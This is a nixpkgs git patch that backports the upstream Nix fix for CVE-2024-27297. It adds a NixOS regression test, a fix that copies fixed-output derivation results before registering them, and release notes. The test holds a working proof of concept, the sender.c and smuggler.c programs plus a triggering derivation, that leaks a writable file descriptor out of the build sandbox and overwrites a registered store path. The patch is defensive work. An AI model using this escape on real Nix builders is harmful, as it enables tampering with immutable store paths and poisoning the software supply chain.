From a5b2c71401fdd6513000164db19d1747461ee9bb Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 5 Mar 2024 16:48:54 +0100 Subject: [PATCH] nixVersions.nix_2_18: address CVE-2024-27297 https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 https://www.cve.org/CVERecord?id=CVE-2024-27297 Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/nix/default.nix | 1 + .../nix/patches/2_18/CVE-2024-27297.patch | 379 ++++++++++++++++++ 2 files changed, 380 insertions(+) create mode 100644 pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 42f2f43bacf0..d9ce42476944 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -235,6 +235,7 @@ in lib.makeExtensible (self: ({ hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; patches = [ patch-rapidcheck-shared + ./patches/2_18/CVE-2024-27297.patch ]; }; diff --git a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch new file mode 100644 index 000000000000..8d110d46a6bb --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch @@ -0,0 +1,379 @@ +From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei +Date: Fri, 1 Mar 2024 03:42:26 -0500 +Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. + +Co-authored-by: Theophane Hufschmitt +--- + flake.nix | 2 + + tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ + 4 files changed, 223 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/flake.nix b/flake.nix +index 230bb6031..4a54c660f 100644 +--- a/flake.nix ++++ b/flake.nix +@@ -634,6 +634,8 @@ + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./tests/nixos/setuid.nix); + ++ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; ++ + + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..a6ae72adc +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,90 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ config, ... }: ++ ++let ++ pkgs = config.nodes.machine.nixpkgs.pkgs; ++ ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++{ ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ nix.settings.substituters = lib.mkForce [ ]; ++ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was not modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} +-- +2.42.0 + + +From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei +Date: Fri, 1 Mar 2024 03:45:39 -0500 +Subject: [PATCH 2/3] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). + +Co-authored-by: Theophane Hufschmitt +Co-authored-by: Valentin Gagarin +--- + src/libstore/build/local-derivation-goal.cc | 6 ++++++ + src/libutil/filesystem.cc | 6 ++++++ + src/libutil/util.hh | 7 +++++++ + 3 files changed, 19 insertions(+) + +diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc +index 64b55ca6a..f1e22f829 100644 +--- a/src/libstore/build/local-derivation-goal.cc ++++ b/src/libstore/build/local-derivation-goal.cc +@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + ++ // Replace the output by a fresh copy of itself to make sure ++ // that there's no stale file descriptor pointing to it ++ Path tmpOutput = actualPath + ".tmp"; ++ copyFile(actualPath, tmpOutput, true); ++ renameFile(tmpOutput, actualPath); ++ + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { + .method = dof.ca.method, + .hashType = wanted.type, +diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc +index 11cc0c0e7..2a7787c0e 100644 +--- a/src/libutil/filesystem.cc ++++ b/src/libutil/filesystem.cc +@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) + } + } + ++ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) ++{ ++ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); ++} ++ + void renameFile(const Path & oldName, const Path & newName) + { + fs::rename(oldName, newName); +diff --git a/src/libutil/util.hh b/src/libutil/util.hh +index b302d6f45..59d42e0a5 100644 +--- a/src/libutil/util.hh ++++ b/src/libutil/util.hh +@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); + */ + void moveFile(const Path & src, const Path & dst); + ++/** ++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is ++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but ++ * with the guaranty that the destination will be “fresh”, with no stale inode ++ * or file descriptor pointing to it). ++ */ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); + + /** + * Wrappers arount read()/write() that read/write exactly the +-- +2.42.0 + + +From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei +Date: Fri, 1 Mar 2024 04:01:23 -0500 +Subject: [PATCH 3/3] Add release notes + +Co-authored-by: Theophane Hufschmitt +--- + doc/manual/src/release-notes/rl-next.md | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md +index c869b5e2f..f77513385 100644 +--- a/doc/manual/src/release-notes/rl-next.md ++++ b/doc/manual/src/release-notes/rl-next.md +@@ -1 +1,9 @@ + # Release X.Y (202?-??-??) ++ ++- Fix a FOD sandbox escape: ++ Cooperating Nix derivations could send file descriptors to files in the Nix ++ store to each other via Unix domain sockets in the abstract namespace. This ++ allowed one derivation to modify the output of the other derivation, after Nix ++ has registered the path as "valid" and immutable in the Nix database. ++ In particular, this allowed the output of fixed-output derivations to be ++ modified from their expected content. This isn't the case any more. +-- +2.42.0 +